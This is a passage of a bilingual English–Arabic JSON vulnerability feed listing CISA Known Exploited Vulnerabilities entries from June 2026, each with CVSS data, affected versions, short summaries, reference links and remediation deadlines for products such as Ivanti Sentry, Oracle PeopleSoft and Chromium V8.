متأثر."},"refs":[["https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-arbfw-c2rZvQ","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-20262","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20262","ref"]],"epss":0.2912,"kevAdded":"2026-06-15T00:00:00Z","kevDue":"2026-06-29T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المصنعة، مع ضمان الامتثال لتوجيهات توجيه وكالة CISA رقم BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (راجع الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات في BOD 26-04.","machineTranslated":true,"productSlug":"cisco-catalyst-sd-wan-manager"},{"id":"CVE-2026-54420","cvss":8.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-61","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-06-15T00:00:00Z","product":"LiteSpeed cPanel Plugin","affected":[["2.3 – <2.4.8","2.4.8"]],"title":{"en":"LiteSpeed cPanel Plugin UNIX Symbolic Link (Symlink) Following Vulnerability","ar":"ثغرة تتبع الروابط الرمزية لنظام UNIX (Symlink) في ملحق LiteSpeed cPanel"},"summary":{"en":"LiteSpeed cPanel plugin contains a UNIX symbolic link (Symlink) following vulnerability that could allow a user with FTP or web shell access on a shared hosting server running CloudLinux/CageFS.","ar":"يحتوي ملحق LiteSpeed cPanel على ثغرة تتبع الروابط الرمزية لنظام UNIX (Symlink) والتي قد تسمح لمستخدم لديه صلاحية الوصول عبر بروتوكول FTP أو صدفة الويب (web shell) على خادم استضافة مشترك يعمل بنظام CloudLinux/CageFS."},"refs":[["https://blog.litespeedtech.com/2026/06/01/security-update-for-litespeed-cpanel-plugin-2/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-54420","advisory"],["https://www.litespeedtech.com/products/litespeed-web-server/control-panel-support/cpanel","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-54420","ref"]],"epss":0.0144,"kevAdded":"2026-06-15T00:00:00Z","kevDue":"2026-06-18T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المصنعة، مع ضمان الامتثال لتوجيهات توجيه وكالة CISA رقم BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (راجع الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات في BOD 26-04.","machineTranslated":true,"productSlug":"litespeed-cpanel-plugin"},{"id":"CVE-2026-35273","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-306","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-06-12T00:00:00Z","product":"Oracle PeopleSoft Enterprise PeopleTools","affected":[["8.61",null],["8.62",null]],"title":{"en":"Oracle PeopleSoft Enterprise PeopleTools Missing Authentication for Critical Function Vulnerability","ar":"ثغرة غياب المصادقة لتنفيذ وظيفة حرجة في Oracle PeopleSoft Enterprise PeopleTools"},"summary":{"en":"Oracle PeopleSoft Enterprise PeopleTools contains a missing authentication for critical function vulnerability which could allow an unauthenticated attacker to obtain takeover of PeopleSoft Enterprise PeopleTools.","ar":"يحتوي Oracle PeopleSoft Enterprise PeopleTools على ثغرة غياب المصادقة لتنفيذ وظيفة حرجة مما قد يسمح لمهاجم دون مصادقة بالسيطرة على PeopleSoft Enterprise PeopleTools."},"refs":[["https://www.oracle.com/security-alerts/alert-cve-2026-35273.html","advisory"],["https://support.oracle.com/signin/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-35273","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-35273","ref"]],"epss":0.9668,"kevAdded":"2026-06-12T00:00:00Z","kevDue":"2026-06-15T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":true,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المصنعة، مع ضمان الامتثال لتوجيهات توجيه وكالة CISA رقم BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (راجع الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات في BOD 26-04.","machineTranslated":true,"productSlug":"oracle-peoplesoft-enterprise-peopletools"},{"id":"CVE-2026-10520","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-06-11T00:00:00Z","product":"Ivanti Sentry","affected":[],"title":{"en":"Ivanti Sentry OS Command Injection Vulnerability","ar":"ثغرة حقن أوامر نظام التشغيل في Ivanti Sentry"},"summary":{"en":"Ivanti Sentry (formerly known as MobileIron Sentry) contains an OS command injection vulnerability which could allow a remote unauthenticated user to achieve root-level remote code execution. This vulnerability can be successfully exploited in cases where the Sentry appliance is in an unmanaged state with its endpoints externally reachable. The use of mTLS with EPMM or restricted HTTPS access through Neurons for MDM makes interfaces inaccessible to external actors.","ar":"يحتوي Ivanti Sentry (المعروف سابقًا باسم MobileIron Sentry) على ثغرة حقن أوامر نظام التشغيل التي قد تسمح لمستخدم عن بُعد دون مصادقة بتحقيق تنفيذ أوامر عن بُعد بصلاحيات الجذر (root). يمكن استغلال هذه الثغرة بنجاح في الحالات التي يكون فيها جهاز Sentry في حالة غير مُدارة مع إمكانية الوصول إلى نقاط النهاية الخاصة به من الخارج. يجعل استخدام mTLS مع EPMM أو الوصول المقيد عبر HTTPS من خلال Neurons for MDM الواجهات غير قابلة للوصول للممثلين الخارجيين."},"refs":[["https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Sentry-CVE-2026-10520-CVE-2026-10523?language=en_US","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-10520","advisory"],["https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-10520","ref"]],"epss":0.9992,"kevAdded":"2026-06-11T00:00:00Z","kevDue":"2026-06-14T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المصنعة، مع ضمان الامتثال لتوجيهات توجيه وكالة CISA رقم BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (راجع الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات في BOD 26-04.","machineTranslated":true,"productSlug":"ivanti-sentry"},{"id":"CVE-2026-11645","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-06-09T00:00:00Z","product":"Google Chromium V8","affected":[["149.0.7827.103 – <149.0.7827.103","149.0.7827.103"]],"title":{"en":"Google Chromium V8 Out-of-Bounds Read and Write Vulnerability","ar":"ثغرة قراءة وكتابة خارج حدود الذاكرة في Google Chromium V8"},"summary":{"en":"Google Chromium V8 out-of-bounds read and write vulnerability that could allow a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","ar":"ثغرة قراءة وكتابة خارج حدود الذاكرة في Google Chromium V8 قد تسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل صندوق الحماية (sandbox) عبر صفحة HTML معدة خصيصًا. قد تؤثر هذه الثغرة على متصفحات شبكة متعددة تستخدم Chromium، بما في ذلك على سبيل المثال لا الحصر، Google Chrome وMicrosoft Edge وOpera."},"refs":[["https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0153744567.html","advisory"],["https://issues.chromium.org/issues/506689381","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-11645","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-11645","ref"]],"epss":0.0244,"kevAdded":"2026-06-09T00:00:00Z","kevDue":"2026-06-23T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المصنعة، أو اتبع توجيهات BOD 22-01 المعمول بها للخدمات السحابية، أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة.","machineTranslated":true,"productSlug":"google-chromium"},{"id":"CVE-2026-7473","cvss":5.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","cwe":"CWE-1023","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-06-09T00:00:00Z","product":"Arista Extensible Operating System","affected":[["4.36.0",null],["4.35.0 – 4.35",null],["4.34.0 – 4.34",null],["4.33.0 – 4.33",null],["4.32.0 – 4.32",null],["4.31.0 – 4.31",null],[" – 4.30",null]],"title":{"en":"Arista Extensible Operating System Incomplete Comparison with Missing Factors Vulnerability","ar":"ثغرة المقارنة غير الكاملة مع عوامل مفقودة في Arista Extensible Operating System"},"summary":{"en":"Arista Extensible Operating System (EOS) contains an incomplete comparison with missing factors vulnerability when the switch incorrectly decapsulate and forwards other unexpected tunneled packet with a destination IP matching its configured decapsulation IP.","ar":"يحتوي Arista Extensible Operating System (EOS) على ثغرة مقارنة غير كاملة مع عوامل مفقودة عندما يقوم المحول (switch) بإلغاء التغليف بشكل غير صحيح وإعادة توجيه حزمة نفقية أخرى غير متوقعة تكون فيها IP الوجهة مطابقة لـ IP إلغاء التغليف المُكوّن الخاص به."},"refs":[["https://www.arista.com/en/support/advisories-notices/security-advisory/24005-security-advisory-0137","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-7473","advisory"],["https://www.arista.com/en/support/advisories-notices/security-advisory/22872-security-advisory-0137","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-7473","ref"]],"epss":0.0111,"kevAdded":"2026-06-09T00:00:00Z","kevDue":"2026-06-23T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المصنعة، أو اتبع توجيهات BOD 22-01 المعمول بها للخدمات السحابية، أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة.","machineTranslated":true,"productSlug":"arista-extensible-operating-system"},{"id":"CVE-2026-20245","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-116","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-06-09T00:00:00Z","product":"Cisco Catalyst SD-WAN Manager","affected":[["20.6.4",null],["20.9.2",null],["20.3.6",null],["20.7.2",null],["20.7.1",null],["20.5.1",null],["20.6.2",null],["19.3.0",null],["20.6.1",null],["17.2.4",null],["18.2.0",null],["18.4.6",null]],"title":{"en":"Cisco Catalyst SD-WAN Manager Improper Encoding or Escaping of Output Vulnerability","ar":"ثغرة الترميز أو التهرب غير السليم للمخرجات في Cisco Catalyst SD-WAN Manager"},"summary":{"en":"Cisco Catalyst SD-WAN Manager formerly SD-WAN vManage contains an improper encoding or escaping of output vulnerability. This vulnerability could allow an authenticated, local attacker to execute arbitrary commands as root by supplying a crafted file to the affected system.","ar":"يحتوي Cisco Catalyst SD-WAN Manager (المعروف سابقًا باسم SD-WAN vManage) على ثغرة ترميز أو تهرب غير السليم للمخرجات. قد تسمح هذه الثغرة لمهاجم محلي يملك حسابًا مصادقًا عليه بتنفيذ أوامر عشوائية بصلاحيات الجذر (root) عن طريق توفير ملف مُعد خصيصًا للنظام المتأثر."},"refs":[["https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-privesc-4uxFrdzx","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-20245","advisory"],["https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20245","ref"]],"epss":0.2532,"kevAdded":"2026-06-09T00:00:00Z","kevDue":"2026-06-23T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المصنعة، أو اتبع توجيهات BOD 22-01 المعمول بها للخدمات السحابية، أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة.","machineTranslated":true,"productSlug":"cisco-catalyst-sd-wan-manager"},{"id":"CVE-2026-50751","cvss":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","cwe":"CWE-287","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-06-08T11:07:15Z","product":"Check Point Security Gateway","affected":[],"title":{"en":"Check Point Security Gateway Improper Authentication Vulnerability","ar":"ثغرة المصادقة غير السلية في Check Point Security Gateway"},"summary":{"en":"Check Point Security Gateway contains an improper authentication vulnerability in IKEv1 key exchange that could allow an unauthenticated remote attacker to bypass user authentication and establish a remote access VPN connection without a valid user password.","ar":"يحتوي Check Point Security Gateway على ثغرة مصادقة غير سليمة في تبادل مفاتيح IKEv1 والتي قد تسمح لمهاجم عن بُعد دون مصادقة بتجاوز مصادقة المستخدم وإنشاء اتصال VPN للوصول عن بُعد دون كلمة مرور مستخدم صالحة."},"refs":[["https://blog.checkpoint.com/security/check-point-releases-important-hotfix-for-vulnerabilities-in-deprecated-ikev1-vpn-protocol/","advisory"],["https://support.checkpoint.com/results/sk/sk185033?_gl=1*1wqeqhc*_gcl_au*MTI1MzE5MjI2LjE3ODA5MzQ1NTM.","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-50751","advisory"],["https://support.checkpoint.com/results/sk/sk185033","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-50751","ref"]],"epss":0.8534,"kevAdded":"2026-06-08T00:00:00Z","kevDue":"2026-06-11T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":true,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المصنعة، أو اتبع توجيهات BOD 22-01 المعمول بها للخدمات السحابية، أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة.","machineTranslated":true,"productSlug":"check-point-security-gateway"},{"id":"CVE-2026-42271","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N","cwe":"CWE-77","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-06-08T00:00:00Z","product":"BerriAI LiteLLM","affected":[],"title":{"en":"BerriAI LiteLLM Command Injection Vulnerability","ar":"ثغرة حقن أوامر في BerriAI LiteLLM"},"summary":{"en":"BerriAI LiteLLM contains a command injection vulnerability that could allow any authenticated user, including holders of low-privilege internal-user keys, to run arbitrary commands on the host.","ar":"يحتوي BerriAI LiteLLM على ثغرة حقن أوامر قد تسمح لأي مستخدم مصادق عليه، بما في ذلك حاملو مفاتيح المستخدمين الداخليين ذوي الصلاحيات المحدودة، بتنفيذ شيفرة عشوائية على الجهاز المضيف."},"refs":[["https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g","advisory"],["https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-42271","advisory"],["https://access.redhat.com/errata/RHSA-2026:28960","advisory"],["https://access.redhat.com/errata/RHSA-2026:30056","advisory"],["https://access.redhat.com/errata/RHSA-2026:27784","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42271","ref"],["https://access.redhat.com/security/cve/CVE-2026-42271","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2467924","ref"],["https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42271.json","ref"]],"epss":0.9145,"kevAdded":"2026-06-08T00:00:00Z","kevDue":"2026-06-22T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المطبقة على خدمات السحابة، أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة.","machineTranslated":true,"productSlug":"berriai-litellm"},{"id":"CVE-2026-28318","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-400","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-06-05T00:00:00Z","product":"SolarWinds Serv-U","affected":[["0 – 15.5.4",null]],"title":{"en":"SolarWinds Serv-U Uncontrolled Resource Consumption Vulnerability","ar":"ثغرة استهلاك الموارد غير المتحكم فيه في SolarWinds Serv-U"},"summary":{"en":"SolarWinds Serv-U contains an uncontrolled resource consumption vulnerability that allows specially crafted POST requests using the Content-Encoding: deflate header to crash the Serv-U service without authentication.","ar":"يحتوي SolarWinds Serv-U على ثغرة استهلاك موارد غير متحكم فيها تسمح لطلبات POST المصممة خصيصًا باستخدام ترويسة Content-Encoding: deflate بتعطيل خدمة Serv-U دون مصادقة."},"refs":[["https://www.solarwinds.com/trust-center/security-advisories/cve-2026-28318","advisory"],["https://documentation.solarwinds.com/en/success_center/servu/content/release_notes/servu_15-5-4-hotfix-1_release_notes.htm#link7","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-28318","advisory"],["https://www.solarwinds.com/trust-center/security-advisories/CVE-2026-28318","ref"],["https://documentation.solarwinds.com/en/success_center/servu/content/release_notes/servu_15-5-4-hotfix-1_release_notes.htm","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-28318","ref"]],"epss":0.4365,"kevAdded":"2026-06-05T00:00:00Z","kevDue":"2026-06-19T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المطبقة على خدمات السحابة، أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة.","machineTranslated":true,"productSlug":"solarwinds-serv-u"},{"id":"CVE-2026-45247","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-06-03T00:00:00Z","product":"Mirasvit Mirasvit Full Page Cache Warmer","affected":[["0 – <1.11.12","1.11.12"]],"title":{"en":"Mirasvit Full Page Cache Warmer Deserialization of Untrusted Data Vulnerability","ar":"ثغرة إلغاء تسلسل البيانات غير الموثوقة في Mirasvit Full Page Cache Warmer"},"summary":{"en":"Mirasvit Full Page Cache Warmer contains a deserialization of untrusted data vulnerability that could allow unauthenticated attackers to achieve remote code execution by supplying a crafted serialized PHP object in the CacheWarmer cookie.","ar":"يحتوي Mirasvit Full Page Cache Warmer على ثغرة إلغاء تسلسل بيانات غير موثوقة قد تسمح لمهاجمين دون مصادقة بتحقيق تنفيذ أوامر عن بُعد عبر توفير كائن PHP متسلسل مصمم خصيصًا في ملف تعريف الارتباط CacheWarmer."},"refs":[["https://mirasvit.com/package/changelog/?package=mirasvit/module-cache-warmer","patch"],["https://nvd.nist.gov/vuln/detail/CVE-2026-45247","advisory"],["https://www.vulncheck.com/advisories/mirasvit-cache-warmer-for-magento-php-object-injection","advisory"],["https://sansec.io/research/mirasvit-cache-warmer-object-injection","ref"],["https://www.imperva.com/blog/imperva-customers-protected-against-cve-2026-45247-in-mirasvit-full-page-cache-warmer-for-magento/","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-45247","ref"]],"epss":0.2616,"kevAdded":"2026-06-03T00:00:00Z","kevDue":"2026-06-06T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المطبقة على خدمات السحابة، أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة.","machineTranslated":true,"productSlug":"mirasvit-full-page-cache-warmer"},{"id":"CVE-2025-48595","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-190","tags":["LPE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-06-02T00:00:00Z","product":"Android Framework","affected":[["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"Android Framework Integer Overflow Vulnerability","ar":"ثغرة فيضان العدد الصحيح في إطار عمل Android"},"summary":{"en":"Android Framework contains an integer overflow vulnerability that allows for code execution that could allow for local privilege escalation.","ar":"يحتوي إطار عمل Android على ثغرة فيضان العدد الصحيح تتيح تنفيذ شيفرة قد تؤدي إلى تصعيد الصلاحيات محليًا."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-06-01","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2025-48595","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-48595","ref"]],"epss":0.0195,"kevAdded":"2026-06-02T00:00:00Z","kevDue":"2026-06-05T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المطبقة على خدمات السحابة، أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة.","machineTranslated":true,"productSlug":"android-framework"},{"id":"CVE-2022-0492","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-287","tags":["LPE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-06-02T00:00:00Z","product":"Linux Kernel","affected":[],"title":{"en":"Linux Kernel Improper Authentication Vulnerability","ar":"ثغرة مصادقة غير سليمة في نواة Linux"},"summary":{"en":"Linux Kernel contains an improper authentication vulnerability which could allow for privilege escalation via the cgroups v1 release_agent feature.","ar":"تتضمن نواة Linux ثغرة مصادقة غير سليمة قد تسمح بتصعيد الصلاحيات عبر ميزة cgroups v1 release_agent."},"refs":[["https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af","advisory"],["https://www.kernel.org/","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2022-0492","advisory"],["https://www.debian.org/security/2022/dsa-5095","advisory"],["https://www.debian.org/security/2022/dsa-5096","advisory"],["https://bugzilla.redhat.com/show_bug.cgi?id=2051505","ref"],["https://lists.debian.org/debian-lts-announce/2022/03/msg00011.html","ref"],["https://lists.debian.org/debian-lts-announce/2022/03/msg00012.html","ref"],["https://security.netapp.com/advisory/ntap-20220419-0002/","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-0492","ref"]],"epss":0.0553,"kevAdded":"2026-06-02T00:00:00Z","kevDue":"2026-06-05T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، أو اتبع توجيهات BOD 22-01 المطبقة على خدمات السحابة، أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة.","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2024-21182","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":null,"tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-06-01T00:00:00Z","product":"Oracle WebLogic Server","affected":[["12.2.1.4.0",null],["14.1.1.0.0",null]],"title":{"en":"Oracle WebLogic Server Unspecified Vulnerability","ar":"ثغرة غير محددة في Oracle WebLogic Server"},"summary":{"en":"Oracle WebLogic contains an unspecified vulnerability that could allow an unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data.","ar":"يحتوي Oracle WebLogic على ثغرة غير محددة قد تسمح لمهاجم دون مصادقة يتمتع بإمكانية الوصول إلى الشبكة عبر T3 أو IIOP باختراق Oracle WebLogic Server. يمكن أن تؤدي الهجمات الناجحة على هذه الثغرة إلى وصول غير مصرح به إلى البيانات الحرجة أو الوصول الكامل إلى كافة البيانات المتاحة في Oracle WebLogic Server."},"refs":[["https://www.oracle.com/security-alerts/cpujul2024.html","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2024-21182","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-21182","ref"]],"epss":0.7416,"kevAdded":"2026-06-01T00:00:00Z","kevDue":"2026-06-04T00:00:00Z","kevAction":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomware":false,"kevActionAr":"قم 